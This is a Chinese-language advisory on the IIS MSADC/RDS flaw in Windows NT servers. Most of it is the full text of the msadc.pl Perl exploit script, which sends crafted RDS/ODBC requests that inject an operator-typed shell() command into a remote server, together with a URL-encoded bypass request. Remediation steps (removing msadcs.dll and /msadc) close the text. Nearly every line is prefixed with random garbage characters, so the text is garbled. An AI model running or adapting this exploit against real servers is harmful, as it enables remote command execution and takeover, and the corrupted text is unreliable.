IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
41 vL"P
K jRpdft 涉及程序：
2~;&g?T6 Microsoft NT server
0%;146.p ^aRgM uU 描述：
s/1 #DM" 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
KIVH!2q; jec :i-, 详细：
`4CWE_ k 如果你没有时间读详细内容的话，就删除:
WnAd5#G c:\Program Files\Common Files\System\Msadc\msadcs.dll
I}Xg &-L 有关的安全问题就没有了。
K$REZ e )DUL)S 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
L6i|:D32p %E27.$E_ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
~- F? Mc 关于利用ODBC远程漏洞的描述，请参看:
uC]Z8&+obb !)Rr]
~ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [Id}4[={e IGAzE( 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
n`;R p r& http://www.microsoft.com/security/bulletins/MS99-025faq.asp O:.,+,BH T_OF7? 这里不再论述。
qU[O1bN }o9 Aa0$*$ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
9 ''p [V.3 YJ2ro-X /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
u:` y] 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
g 3?U#7 i |[cdri^?D I&1!v8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
twk&-:' H*W):j} 8 #!perl
%>XN%t'6aT #
xNN@ 1P[* # MSADC/RDS 'usage' (aka exploit) script
hWcTI{v #
I/UQ' xx # by rain.forest.puppy
77 :'I #
8kW /DcLE # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%TK&)Q% h5 # beta test and find errors!
4^!4eyQ^ h#3m4<w(9 use Socket; use Getopt::Std;
|j_`z@7( getopts("e:vd:h:XR", \%args);
hE!7R M+Y mT_ GrIl[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
CJq c \I~ d A#{Cn; if (!defined $args{h} && !defined $args{R}) {
F1A1@{8bN print qq~
v29G:YQe Usage: msadc.pl -h <host> { -d <delay> -X -v }
"~p+0Xws9 -h <host> = host you want to scan (ip or domain)
N5 q725zJ -d <seconds> = delay between calls, default 1 second
Z cZ;$* -X = dump Index Server path table, if available
j.QHkI1. -v = verbose
IF?xnu -e = external dictionary file for step 5
5iWe-xQ> {:Vf0Mhb Or a -R will resume a command session
=p\Xy* ,sb1"^Wc ~; exit;}
6d{j0 ?mM B2hfD-h,> $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
P&t;WPZ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
H(\V+@~>AD if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i@$-0%, if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
b4~H3| $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
H,>#|F if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;1LG&h,K KP~-$NR if (!defined $args{R}){ $ret = &has_msadc;
i;lE5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&jJc kT [b5(XIGUN} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
t ]TyXA r~ . "cmd /c ";
X N;/nU $in=<STDIN>; chomp $in;
pVOI5>f\ $command="cmd /c " . $in ;
E8tD)=1 y-cw~kNPP3 if (defined $args{R}) {&load; exit;}
[(c L/_ , z66bnjO print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
`Ei"_ W &try_btcustmr;
m,NMTyJoz c Tj~lO6 print "\nStep 2: Trying to make our own DSN...";
V< $*Y>; &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*j<@yG2\gP O: u%7V/ print "\nStep 3: Trying known DSNs...";
2x mT#m &known_dsn;
hh&Js'd yH(V&T v print "\nStep 4: Trying known .mdbs...";
[~?M/QI9 &known_mdb;
9U10d&M( YY!! <2_ if (defined $args{e}){
>0T3 '/k<H print "\nStep 5: Trying dictionary of DSN names...";
#^\}xn" [ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
n|]N7 b' h[l{ 5Z* print "Sorry Charley...maybe next time?\n";
MxN]7 exit;
A[ 1)!e *tAqt2{48 ##############################################################################
=8S}Iat ZW* fO aj sub sendraw { # ripped and modded from whisker
q)Je.6$#X sleep($delay); # it's a DoS on the server! At least on mine...
WOH9%xv my ($pstr)=@_;
{U
P_i2`. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
fNEz die("Socket problems\n");
#KJZR{ if(connect(S,pack "SnA4x8",2,80,$target)){
' PL_~ select(S); $|=1;
s?<!&Y print $pstr; my @in=<S>;
+UaO<L
select(STDOUT); close(S);
dP3VJ3+
% return @in;
d
H_2 o } else { die("Can't connect...\n"); }}
oUS ,+e 8OBF^r44R ##############################################################################
g*r/ u; W]~ZkQ|P sub make_header { # make the HTTP request
2;R/.xI6v my $msadc=<<EOT
W^ClHQ"Iy POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`1_FQnm) User-Agent: ACTIVEDATA
t>@yv# Host: $ip
D'?]yyrf Content-Length: $clen
\I
xzdFF# Connection: Keep-Alive
dp< au A 2?H@$-x> ADCClientVersion:01.06
T Xl\hL\+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
j@V $Mbv \#_@qHAG --!ADM!ROX!YOUR!WORLD!
Hc
/w ta Content-Type: application/x-varg
UNY@w=]< Content-Length: $reqlen
k7b(QADqUU 7C YH'DL EOT
_6J<YQK ; $msadc=~s/\n/\r\n/g;
9 H8=eJd return $msadc;}
[Z% l. <mn- =#) ##############################################################################
aZC*7AK
T/5nu?v sub make_req { # make the RDS request
*<CxFy;| my ($switch, $p1, $p2)=@_;
Ob g@YIwn my $req=""; my $t1, $t2, $query, $dsn;
}*OD M6 Z
c<]^QR if ($switch==1){ # this is the btcustmr.mdb query
A<;0L . J $query="Select * from Customers where City=" . make_shell();
I &cX8Tw $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9`,,%vd j $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
C*]AL/ , FS?"Ni elsif ($switch==2){ # this is general make table query
T*p| 'Q` $query="create table AZZ (B int, C varchar(10))";
;_w MW l0F $dsn="$p1";}
],$6&Cm &?v#| qIh elsif ($switch==3){ # this is general exploit table query
{z-Nl H
$query="select * from AZZ where C=" . make_shell();
]uJM6QuQ $dsn="$p1";}
mf#fA2[ f!^)!~ elsif ($switch==4){ # attempt to hork file info from index server
78^Y;2 P]W $query="select path from scope()";
l4DeX\ly7f $dsn="Provider=MSIDXS;";}
w8U2y/:> <xC : Ant elsif ($switch==5){ # bad query
-D$3!ccX $query="select";
F1/6&u 9I $dsn="$p1";}
i$g|?g~] Mf#2.TR $t1= make_unicode($query);
dkf}),Z F $t2= make_unicode($dsn);
@<VG8{ $req = "\x02\x00\x03\x00";
}1@n(#|c $req.= "\x08\x00" . pack ("S1", length($t1));
[6tR& D #K $req.= "\x00\x00" . $t1 ;
.k
p $oAL $req.= "\x08\x00" . pack ("S1", length($t2));
^]KIgGv\ $req.= "\x00\x00" . $t2 ;
D@2Ya/c $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
^CO#QnB @ return $req;}
kaV%0Of] mMga"I9 ##############################################################################
MyK^i2eD = tLU] sub make_shell { # this makes the shell() statement
%{=4Fa(Jux return "'|shell(\"$command\")|'";}
b,z R5R^D; i:\bqK ##############################################################################
6_p D e pFS
F[9?e> sub make_unicode { # quick little function to convert to unicode
$/MY,:*e my ($in)=@_; my $out;
> _n:_ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
4b] IazL) return $out;}
9F/|` gjO
*h3` ##############################################################################
wYC9 ~ms- r
.{rNR sub rdo_success { # checks for RDO return success (this is kludge)
u;$I{b@M] my (@in) = @_; my $base=content_start(@in);
}FuVY><l if($in[$base]=~/multipart\/mixed/){
v4X_v!CQ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
_QD/!~O return 0;}
nm<L&11 p, !1 3X ##############################################################################
(Be $ $W R
%Rv sub make_dsn { # this makes a DSN for us
N=hSqw[ my @drives=("c","d","e","f");
3`mC"a b / print "\nMaking DSN: ";
3AX?B~s foreach $drive (@drives) {
C+ }CU} print "$drive: ";
2K5}3<KD/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
cq- e
c7 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
mxtlr) . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
hQ\#Fhu7 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
]v/t8` return 0 if $2 eq "404"; # not found/doesn't exist
39'X$! if($2 eq "200") {
7)g;Wd+H foreach $line (@results) {
Iwnj'R7 : return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
`#-p,NElV } return 0;}
l!xgtP K IEKMa ##############################################################################
C!CaGf= hhN(;. sub verify_exists {
P?-d[zLA my ($page)=@_;
clij|?O my @results=sendraw("GET $page HTTP/1.0\n\n");
8 ))I$+ return $results[0];}
Ir'DA_.. => E44v ##############################################################################
2
rbX 8Y qp H j 4 sub try_btcustmr {
/&y,vkZTT my @drives=("c","d","e","f");
]W89.><%14 my @dirs=("winnt","winnt35","winnt351","win","windows");
n=lggBRx c80"8r foreach $dir (@dirs) {
11n O<WH print "$dir -> "; # fun status so you can see progress
C@l +\M ( foreach $drive (@drives) {
$`cy'ZaF print "$drive: "; # ditto
s|Im z<IE $reqlen=length( make_req(1,$drive,$dir) ) - 28;
{X{01j};8 $reqlenlen=length( "$reqlen" );
S(q4OQ B{ $clen= 206 + $reqlenlen + $reqlen;
e7)> U!9c9 j@kRv@ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
0j-F6a*p'1 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
1q;I7_{ 2 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
853]CK< PW(_yB; ##############################################################################
?S;et2f h8D tq5t4 sub odbc_error {
?h>(&H jWV my (@in)=@_; my $base;
BxW||O|_N" my $base = content_start(@in);
=|DkD-
O if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
r ;@:S~ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LIm$Wl1U $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^hGZVGSv $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
LNs E7t return $in[$base+4].$in[$base+5].$in[$base+6];}
N^@%qUvT] print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ur,V>J<5A print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
55u^u F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
1tuator D*<8e?F ##############################################################################
dja9XWOg \!?
PhNv sub verbose {
'6Rs0__ my ($in)=@_;
z. Ve#~\ return if !$verbose;
hfP(N_""S print STDOUT "\n$in\n";}
VH$\ a~| )^Q G-IM ##############################################################################
F ~11 _ Au \ =ypK sub save {
K~9 jin my ($p1, $p2, $p3, $p4)=@_;
am) J'i, open(OUT, ">rds.save") || print "Problem saving parameters...\n";
r( `8A:#d print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
jHUz`.8B close OUT;}
:Kt mSY c qU$gKT ##############################################################################
*o2_EqXL* G tGyY0 sub load {
8k*k my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]c~ rPi open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]J0Y^dM @p=<IN>; close(IN);
^O,6(@> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
MXu+I,y* $target= inet_aton($ip) || die("inet_aton problems");
E(L^hZMc print "Resuming to $ip ...";
!E(J
]a $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
] "7El;2z if($p[1]==1) {
=r@ie>* U $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
g*\v}6
h $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
oG U.U9~! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
o 2$<>1^ if (rdo_success(@results)){print "Success!\n";}
d<^ 6hF else { print "failed\n"; verbose(odbc_error(@results));}}
~T{d9yNW1 elsif ($p[1]==3){
UVvt&=+ 4 if(run_query("$p[3]")){
~"hAb2 print "Success!\n";} else { print "failed\n"; }}
hPX2 Bp elsif ($p[1]==4){
OHXeqjhy if(run_query($drvst . "$p[3]")){
`04Y ;@w print "Success!\n"; } else { print "failed\n"; }}
YC+ZVp"v exit;}
//@sktHsw( A`mf 8'nTG ##############################################################################
L2Q p6A6S Phjf$\pt sub create_table {
[e Tck73 my ($in)=@_;
>O[^\H!\ $reqlen=length( make_req(2,$in,"") ) - 28;
]mDsUZf< $reqlenlen=length( "$reqlen" );
#|2g{7 g* $clen= 206 + $reqlenlen + $reqlen;
qoyGs}/I8 my @results=sendraw(make_header() . make_req(2,$in,""));
4$#ia
F return 1 if rdo_success(@results);
O,z%7> < my $temp= odbc_error(@results); verbose($temp);
kA->xjk return 1 if $temp=~/Table 'AZZ' already exists/;
=V4_DJ(& return 0;}
34 &$_0zn '@1Qx~*]e ##############################################################################
B3i=pcef q'U-{~ q% sub known_dsn {
'e8d["N # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
N'W >pU my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!& :.Uh "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
A 'P}mrY "banner", "banners", "ads", "ADCDemo", "ADCTest");
j^R~ Lt4 W(3~F2 foreach $dSn (@dsns) {
)SO1P6 print ".";
IBs O next if (!is_access("DSN=$dSn"));
j$/uJ` if(create_table("DSN=$dSn")){
OAQ O J' print "$dSn successful\n";
'3kL=( if(run_query("DSN=$dSn")){
aABE= 9Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?f%DVK d print "Something's borked. Use verbose next time\n";}}} print "\n";}
(]#
JpQ s(DaPhL6Qm ##############################################################################
_J$p < mZ.6Njb sub is_access {
"{1} my ($in)=@_;
*/@bNT9BgO $reqlen=length( make_req(5,$in,"") ) - 28;
XVK[p=cIL $reqlenlen=length( "$reqlen" );
[!|d[ $clen= 206 + $reqlenlen + $reqlen;
T;vPR,]rz my @results=sendraw(make_header() . make_req(5,$in,""));
QS Q\@h;E my $temp= odbc_error(@results);
k>@^M]% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
$1`t+0^k return 0;}
,)\5O0 D6 `oI/;& ##############################################################################
~+ NFWNgN \|4MU"ri sub run_query {
.J!
$,O@ my ($in)=@_;
%EhU!K#[ $reqlen=length( make_req(3,$in,"") ) - 28;
^bgm0,M $reqlenlen=length( "$reqlen" );
4Fht (B| $clen= 206 + $reqlenlen + $reqlen;
6P[O8 my @results=sendraw(make_header() . make_req(3,$in,""));
/[|md0, return 1 if rdo_success(@results);
'm.XmVZL% my $temp= odbc_error(@results); verbose($temp);
?
Gu_UW return 0;}
-O q=J; 7]+'%Uwu) ##############################################################################
t~=@r9`S
k*+ZLrT sub known_mdb {
G"R>a w my @drives=("c","d","e","f","g");
`x^,k%
:4 my @dirs=("winnt","winnt35","winnt351","win","windows");
?z36mj"`o my $dir, $drive, $mdb;
+c2=*IA/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
UyfIAC$S ^)K[1]"uM # this is sparse, because I don't know of many
/bj`%Q.n my @sysmdbs=( "\\catroot\\icatalog.mdb",
(E] K)d "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
x@(f^P "\\system32\\certmdb.mdb",
WYd ,tGz "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
`e69kBAm | gxB;
GG my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
LR?#H)$ "\\cfusion\\cfapps\\forums\\forums_.mdb",
wEn&zZjx "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
9fLP&v "\\cfusion\\cfapps\\security\\realm_.mdb",
h 7P?n.K "\\cfusion\\cfapps\\security\\data\\realm.mdb",
[~%;E[ky$ "\\cfusion\\database\\cfexamples.mdb",
V$%Fs{ "\\cfusion\\database\\cfsnippets.mdb",
?;QKe0I^ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=1B&d[3; "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
5 /VB'N#7s "\\cfusion\\brighttiger\\database\\cleam.mdb",
n ylIP */ "\\cfusion\\database\\smpolicy.mdb",
A>,fG9pR "\\cfusion\\database\cypress.mdb",
+ mF 2yh "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
aD`e]K ^L "\\website\\cgi-win\\dbsample.mdb",
zEL[%(fnc "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Ljs(<Gm )- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
p%qL0
); #these are just
B=xZkc foreach $drive (@drives) {
& K*_/Q
'\ foreach $dir (@dirs){
ATkqzE`; foreach $mdb (@sysmdbs) {
PqeQe 5 print ".";
2PW3 S{D t if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
.aRxqFi_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
xqZ%c/I3q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|?b"my$g$ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
s+t eYL#Zi } else { print "Something's borked. Use verbose next time\n"; }}}}}
F4l6PGxF&\ ~ a|Q[tiV] foreach $drive (@drives) {
yKy)fn! foreach $mdb (@mdbs) {
{.)~4.LhQM print ".";
545xs`Q_ if(create_table($drv . $drive . $dir . $mdb)){
~}l,H:jk@ print "\n" . $drive . $dir . $mdb . " successful\n";
G#M] \)f% if(run_query($drv . $drive . $dir . $mdb)){
+004 2Yi print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
LOo# } else { print "Something's borked. Use verbose next time\n"; }}}}
WY UU- }
s8 O+&^(U WkmS
##############################################################################
,;& PKY 90I 3_[Ii sub hork_idx {
yU lQPrNX print "\nAttempting to dump Index Server tables...\n";
gVWLY;c 3} print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
,6)y4=8 L $reqlen=length( make_req(4,"","") ) - 28;
cjpl_}'L: $reqlenlen=length( "$reqlen" );
spDRQ_qq $clen= 206 + $reqlenlen + $reqlen;
!ry+ r!" my @results=sendraw2(make_header() . make_req(4,"",""));
`215Llzk; if (rdo_success(@results)){
he6)
L6T my $max=@results; my $c; my %d;
Ct3 3S+y for($c=19; $c<$max; $c++){
'0?E|B]Cp% $results[$c]=~s/\x00//g;
bHG>SW\]`? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
?' :'zT $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
t;6/bT- $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
~Q]M _,`M $d{"$1$2"}="";}
cK/odOi foreach $c (keys %d){ print "$c\n"; }
>QPS0Vx[ } else {print "Index server doesn't seem to be installed.\n"; }}
\ 'b- ;exH c9k,D c ##############################################################################
>FhBl\oIi X;g|-< sub dsn_dict {
v2g+o KO] open(IN, "<$args{e}") || die("Can't open external dictionary\n");
tr+~@]I + while(<IN>){
~+ur*3 X $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
(9%%^s]uPT next if (!is_access("DSN=$dSn"));
0:S)2"I58p if(create_table("DSN=$dSn")){
j+_75t`AZ print "$dSn successful\n";
Un+Jz
?Y if(run_query("DSN=$dSn")){
( \
%y ) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
GT0 'b ge print "Something's borked. Use verbose next time\n";}}}
+? 'a cn print "\n"; close(IN);}
v#G ^W \`x'g)z(i ##############################################################################
a# $%xw 'IszS!kY sub sendraw2 { # ripped and modded from whisker
mY9K)]8 sleep($delay); # it's a DoS on the server! At least on mine...
H N)QS5 my ($pstr)=@_;
>{8H==P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3 g&m ND die("Socket problems\n");
rKq]zHgpo if(connect(S,pack "SnA4x8",2,80,$target)){
zD|W3hL2& print "Connected. Getting data";
4'*K\Ul).H open(OUT,">raw.out"); my @in;
[Xg "B|FD0 select(S); $|=1; print $pstr;
~:Nyv+g,$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
v}i}pQ\DK close(OUT); select(STDOUT); close(S); return @in;
@e/dQ:Fb } else { die("Can't connect...\n"); }}
g?sFmD p^!p7B`qe. ##############################################################################
fba 3aId[ *4E,| IJ sub content_start { # this will take in the server headers
n!nv.-n my (@in)=@_; my $c;
a#=-Aj- for ($c=1;$c<500;$c++) {
=7> ~u if($in[$c] =~/^\x0d\x0a/){
l{g( z ! if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
> kT~X ,o else { return $c+1; }}}
c i>=45@J return -1;} # it should never get here actually
>Fh@:M7z '@P[fS Q ##############################################################################
Ckp=d @YELqUb* sub funky {
UQ?8dw:E~ my (@in)=@_; my $error=odbc_error(@in);
?HTwTi 5!) if($error=~/ADO could not find the specified provider/){
/|f]L9)2< print "\nServer returned an ADO miscofiguration message\nAborting.\n";
e^T F.D?RS exit;}
b iD7(AK if($error=~/A Handler is required/){
f
;JSP print "\nServer has custom handler filters (they most likely are patched)\n";
RCr: 2
Iz exit;}
xOlkG*3c if($error=~/specified Handler has denied Access/){
g11K?3*%Q print "\nServer has custom handler filters (they most likely are patched)\n";
g(^l>niF: exit;}}
=\.|' w8 Yff[o ##############################################################################
|Sq>uC) ?9cy5z[ sub has_msadc {
b :00w[" my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
JZ
[&: my $base=content_start(@results);
L`v,:#Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
q)X&S*-<o~ return 0;}
QkbN2mFv% !/SFEL@_B ########################
;iVy JZI th {h)( +H i^(<E0vS 解决方案：
oZCO$a 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
(XQG"G%U6W 2、移除web 目录: /msadc
